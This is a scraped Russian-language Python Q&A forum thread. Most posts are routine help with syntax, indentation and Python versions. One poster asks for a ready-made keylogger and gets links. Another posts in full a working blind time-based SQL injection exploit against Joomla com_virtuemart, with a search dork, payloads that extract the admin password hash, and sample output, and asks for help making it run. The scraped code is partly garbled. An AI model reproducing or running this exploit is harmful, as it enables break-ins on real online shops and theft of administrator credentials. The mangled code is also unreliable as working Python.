[Python] вопрос/ответ.

Discussion in 'Python' started by De-visible, 21 Jan 2009.

  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Ins3t для продакшена - да, лучше 2.7. Но поглядывать в сторону 3.x уже пора, тот же джанго начал активно развивать совместимость с новой веткой и понемногу дропать поддержку старых версий питона.
     
    _________________________
  2. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Рано поглядывать. Третья ветка пока еще не настолько популярна, чтобы организовать нормально работу на ней. Tarek Ziade недавно рассказывал что очень вероятно, что что-то может сильно поменяться. И тогда будет сложно вести поддержку своих продуктов. Поэтому и Django все еще развивает вторую ветку, а третьей только балуется.
     
  3. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    72
    Reputations:
    124
    Можно ли как-то подружить urllib с socks проксями в 3 ветке? Есть подозрения, что прийдется наследовать какой-то класс, но какой? И какие методы менять. Нугуглить почему-то не удалось. Заранее благодарен.
    п.с. нужен вариант как с установкой http прокси, глобальный сокс на сокеты не пойдет.
     
  4. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Здравствуйте я python не знаю, как мог глянул вроде все ok(покрайней мере синтаксис), прошу помощи у людей которые знают python, данный скрипт должен подключаться по ssh к роутеру(микротик) и отключать пользователей по дате, я создал у себя на хостинге базу, запускаю там же скрипт но он ругается(IndentationError: expected an indented block) на "login_user = x[0]" вот эту строку(23) если ее комментирую то на нижнюю(синтаксис вроде верный), очень буду благодарен тому кто заставит его работать!!

    PHP:
    #!/usr/bin/python 
    # -*- coding: utf_8 -*- 
    import MySQLdb 
    import mysql_db 
    import datetime 
    from paramiko import SSHClient 
    from paramiko import AutoAddPolicy 
    now_date 
    datetime.date.today() 
    cur_year now_date.year 
    cur_month 
    now_date.month 
    cur_day 
    now_date.day 
    user_day 
    cur_day 
    user_month 
    cur_month 

    db 
    MySQLdb.connect(host="some"user="some"passwd="some"db="some"charset='utf8')
    cur mysql_db.db.cursor() 
    sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_dayuser_month)
    cur.execute(sql
    action cur.fetchall() 
    cur.close() 

    for 
    x in action
    login_user x[0]
    ip_user x[1
    balance x[2
    if 
    balance <= 0

    mip =  '192.168.4.253' 
    ml =   'user1' 
    mp =   '1q2w3e' 

    exe "/ip fi a disable [find address=%s]" % (ip_user
    print 
    exe 
    ssh 
    SSHClient() 
    ssh.set_missing_host_key_policy(AutoAddPolicy()) 
    ssh.connect(mipport=22username=mlpassword=mp
    cmd "%s" % (exe
    ssh.exec_command(cmd
    ssh.close() 

    else:
    print 
    "Не отключать"
    cur mysql_db.db.cursor() 
    sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_dayuser_month)
    cur.execute(sql
    action cur.fetchall() 
    cur.close() 

    for 
    x in action
    login_user x[0
    ip_user x[1
    balance x[2

    if 
    balance <= 0:

    mip '192.168.4.253'
    ml =  'user1' 
    mp =  '1q2w3e' 

    exe "/ip fi a disable [find address=%s]" % (ip_user
    print 
    exe 
    ssh 
    SSHClient() 
    ssh.set_missing_host_key_policy(AutoAddPolicy()) 
    ssh.connect(mipport=22username=mlpassword=mp
    cmd "%s" % (exe
    ssh.exec_command(cmd
    ssh.close() 
     
    #984 tester_new, 18 May 2013
    Last edited: 18 May 2013
  5. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    Отступы, отступы и еще раз отступы. Почитай про оформление питоновского кода
     
  6. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Говорит о том, что цикл for не закрыт. Python очень любит отступы.
    Возможно код должен был выглядеть так:
    PHP:
    #!/usr/bin/python  
    # -*- coding: utf_8 -*-  
    import MySQLdb  
    import datetime  
    from paramiko import SSHClient  
    from paramiko import AutoAddPolicy  
    now_date 
    datetime.date.today()  
    cur_year now_date.year  
    cur_month 
    now_date.month  
    cur_day 
    now_date.day  
    user_day 
    cur_day  
    user_month 
    cur_month  

    db 
    MySQLdb.connect(host="some"user="some"passwd="some"db="some"charset='utf8'
    cur db.cursor()  
    sql = ("""SELECT login_user, ip_user, balance FROM users WHERE day = %s AND month = %s""") % (user_dayuser_month
    cur.execute(sql)  
    action cur.fetchall()  
    cur.close()  

    for 
    x in action:  
        
    login_user x[0
        
    ip_user x[1]  
        
    balance x[2]  
    if 
    balance <= 0:  
        
    mip =  '192.168.4.253'  
        
    ml =   'user1'  
        
    mp =   '1q2w3e'  
        
    exe "/ip fi a disable [find address=%s]" % (ip_user)  
        print 
    exe  
        ssh 
    SSHClient()  
        
    ssh.set_missing_host_key_policy(AutoAddPolicy())  
        
    ssh.connect(mipport=22username=mlpassword=mp)  
        
    cmd "%s" % (exe)  
        
    ssh.exec_command(cmd)  
        
    ssh.close()  
    else: 
        print 
    "Не отключать" 
        
    cur db.cursor()  
        
    sql = ("""SELECT * FROM users"""
        
    cur.execute(sql)  
        
    action cur.fetchall()  
        
    cur.close()  
    И зачем использовать 2 модуля для подключения к БД, там и 1-го хватит
     
  7. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    сейчас уже django также грызет и python 3
    для продакш еще все-таки рано

    лично меня бесят преобразования между типами строк в версиях <3
     
    #987 Strilo4ka, 26 Jun 2013
    Last edited: 26 Jun 2013
  8. mehanicus

    mehanicus New Member

    Joined:
    29 Oct 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Хотелось бы, что бы при запуске скрипта выводилось каждое третье число. Но интерпретатор выводит 0 1 3 и всё, цикл похоже заканчивается. Что здесь не так?

    Code:
    fib1 = 0
    fib2 = 1
    print (fib1)
    print (fib2)
    n = 15
    i = 0
    while i < n:
        fib_sum = fib1 + fib2
        fib1 = fib2
        fib2 = fib_sum
        i = i + 1
        g = 0
        g = g + 3
            if i == g:
            print (fib_sum)
    
     
  9. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    mehanicus цикл выполняется все 15 раз, однако в данном случае - переменная g всегда равна трем, что не соответствует условию задачи. Откройте для себя операцию нахождения остатка от деления. Крайне поможет в данном случае и вообще
     
    _________________________
  10. Artur Fis

    Artur Fis New Member

    Joined:
    22 Sep 2013
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Code:
    print filter(lambda x: divmod(x,3)[1] == 0,[x for x in range(1,15+1)])
     
  11. masolit

    masolit Member

    Joined:
    1 Dec 2010
    Messages:
    23
    Likes Received:
    20
    Reputations:
    0
    print [x for x in range(0, 16 ,3) if x != 0]
    print [x for x in range(0, 16 ,3)][1:]
     
    #991 masolit, 13 Oct 2013
    Last edited: 13 Oct 2013
  12. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    Можно ли читать данные из потока по его id/pid?
     
  13. Ro-Bot2

    Ro-Bot2 New Member

    Joined:
    1 Nov 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Я наблюдал 3 учебники кейлоггер Python, не в состоянии заставить его работать!
    Есть ли кто-то здесь, кто получил простой кейлоггер, который легко использовать для меня?

    спасибо!
     
  14. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    Друг, ты откуда?
     
  15. Ro-Bot2

    Ro-Bot2 New Member

    Joined:
    1 Nov 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0

    Я из Нидерландов
     
  16. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    [OFFTOP]You should write in english coz it's hard to understand your russian posts.[/OFFTOP]
     
  17. Ro-Bot2

    Ro-Bot2 New Member

    Joined:
    1 Nov 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Okay I will do that..
    So, is there a simple keylogger in Python?
    I've watched 3 tutorials and non of them are working.
    If there is, please let me know or link the code :)
    Thanks!
     
  18. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    ttp://stackoverflow.com/questions/3553209/help-with-my-keylogger
    ttp://antihackingtutorials.blogspot.com/2012/06/in-this-tutorial-we-will-show-you-how.html
     
  19. anubiss12

    anubiss12 New Member

    Joined:
    17 Oct 2013
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Всем привет, кто подскажет что за проблема не могу запустить тот скрипт выдаёт ошибку line 83 SyntaxError: invalid syntax
    PHP:
    #!/usr/bin/python
    #
    # Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
    # Found by: TecR0c & mr_me
    # Discovery date: 11/2/2011
    # Code by: mr_me
    # Vendor: http://virtuemart.net/
    # Download: http://virtuemart.net/downloads
    # Dork: inurl:"?option=com_virtuemart" > 46 million results
    # Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip
    # References:
    # - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
    # - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
    #
    # "The more you educate yourself the more you understand where things come from the more obvious things become
    # and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free."
    # - zeitgeist addendum
    #
    # Description:
    # ============
    # With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online
    # and drive your Business to new Heights. Despite being Open Source Software it powers large
    # Online Shops providing the Performance, Usability and Security you expect from professional Software.
    #
    # Explantation:
    # =============
    # There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component.
    # Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
    # statements. This of course will send an enormous number of queries the target. During testing, 9145
    # queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
    # of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the
    # timings of benchmark and time to last byte (ttlb).
    #
    # Tested on Joomla v1.5.22 with virtuemart:
    # ==========
    # - v1.1.7
    # - v1.1.6
    # - v1.1.4
    #
    # [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
    #
    #   | ------------------------------------------------------------------- |
    #   | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
    #   | by mr_me - net-ninja.net ------------------------------------------ |
    #
    # (+) PoC started on Sat Feb 12 17:26:15 2011
    # (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
    # (+) Testing proxy @ localhost:8080.. proxy is found to be working!
    # (+) Using time based SQL Injection.
    # (+) This will take time, go grab a coffee..
    #
    # (!) Getting database version: 5.1.41-3ubuntu12.9
    # (!) Getting database user: root@localhost
    # (!) Getting database name: joomla
    # (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
    # (+) PoC finished on Sat Feb 12 18:38:05 2011
    #
     
    import sysurlliburllib2retime
    from optparse import OptionParser
     
    # just printable ascii please
    lower_value 32
    upper_value 
    126
     
    vuluri 
    "index.php?option=com_virtuemart&page%3d-1"
    basicInfo = {'version':'@@version''user':'user()''name':'database()'}
     
    usage "./%prog [<options>] -t [target] -d [directory]"
    usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
     
    parser OptionParser(usage=usage)
    parser.add_option("-p"type="string",action="store"dest="proxy",
                      
    help="HTTP Proxy <server:port>")
    parser.add_option("-t"type="string"action="store"dest="target",
                      
    help="The Target server <server:port>")
    parser.add_option("-d"type="string"action="store"dest="directory",
                      
    help="Directory path to the CMS")
     
    (
    optionsargs) = parser.parse_args()
     
    def banner():
        print 
    "\n\t| ------------------------------------------------------------------- |"
        
    print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
        
    print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"
     
    if len(sys.argv) < 4:
        
    banner()
        
    parser.print_help()
        
    sys.exit(1)
     
    def timer():
        
    now time.localtime(time.time())
            return 
    time.asctime(now)
     
    def testProxy():
        
    check 1
        sys
    .stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
        
    sys.stdout.flush()
        try:
                
    req urllib2.Request("http://www.google.com/")
            
    req.set_proxy(options.proxy,"http")
            
    check urllib2.urlopen(req)
            
    except:
                
    check 0
                pass
            
    if check != 0:
                
    sys.stdout.write("proxy is found to be working!\n")
                
    sys.stdout.flush()
            else:
                print 
    "proxy failed, exiting.."
                
    sys.exit(1)
         
    def getServerResponse(exploit):
        try:
            
    uri "http://"+options.target+options.directory+exploit
            request 
    urllib2.Request(uri)
            if 
    options.proxy:
                
    request.set_proxy(options.proxy"http")
             
            
    start time.time()
            
    resp urllib2.urlopen(request)
            
    check resp.read()
            
    ttlb time.time() - start
        except urllib
    .error.HTTPErrorerror:
                
    check error.read()
        
    except socket.error:
            print 
    "(-) Proxy connection failed"
            
    sys.exit(1)
        return 
    checkttlb
     
    def getBasicDbInfo
    (basicInfokeylimit):
        for 
    i in range(1,limit):
            for 
    j in range(lower_value,upper_value):
                
    request = (vuluri "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                
    % (basicInfo[key],str(i),str(j)))
                try:
                    
    respttlb getServerResponse(request)
                
    except:
                    print 
    "\n(-) Exiting.."
                    
    sys.exit(1)
                if 
    ttlb >= 3.5:
                    
    sys.stdout.write("%s" % (chr(j)))
                    
    sys.stdout.flush()
                    break
     
     
    def getJosUser(selectStmtlimit):
        for 
    i in range(1,limit):
            for 
    j in range(lower_value,upper_value):
                
    request = (vuluri "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                            
    % (selectStmt,str(i),str(j)))
                
    respttlb getServerResponse(request)
                            if 
    ttlb >= 3.5:
                                    
    sys.stdout.write("%s" % (chr(j)))
                                    
    sys.stdout.flush()
                                    break
     
    def doBlindSqlInjection():
        print 
    "(+) Using time based SQL Injection."
            
    print "(+) This will take time, go grab a coffee.."
     
        
    for key in basicInfo:
            
    sys.stdout.write("\n(!) Getting database %s: " % (key))
            
    sys.stdout.flush()
             
            for 
    i in range(1,50):
                
    request = (vuluri "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                        
    % (basicInfo[key],str(i)))     
                try:
                                
    respttlb getServerResponse(request)
                        
    except:
                                print 
    "\n(-) Exiting.."
                                
    sys.exit(1)
                        if 
    ttlb >= 3.5:
                                break
     
            
    getBasicDbInfo(basicInfokeyi+1)
     
        
    sys.stdout.write("\n(!) Getting Joomla admin: ")
        
    sys.stdout.flush()
     
        for 
    i in range(1,100):
            
    lengthOfAdminString "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
            
    request = (vuluri "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
            
    % (lengthOfAdminString,str(i)))
            try:
                
    respttlb getServerResponse(request)
            
    except:
                print 
    "\n(-) Exiting.."
                
    sys.exit(1)
            if 
    ttlb >= 3.5:
                break
         
        
    getJosStmt "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
        
    getJosUser(getJosStmti+1)
     
    if 
    __name__ == "__main__":
        
    banner()
        print 
    "(+) PoC started on %s" % (timer())
        print 
    "(+) Exploiting target @: http://%s" % (options.target+options.directory)
        if 
    options.proxy:
            
    testProxy()
        
    doBlindSqlInjection()  
        print 
    "\n(+) PoC finished on %s" % (timer())








     
  20. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    вот вроде исправил
    _ttp://www.sendspace.com/file/tr7gqp
     
    1 person likes this.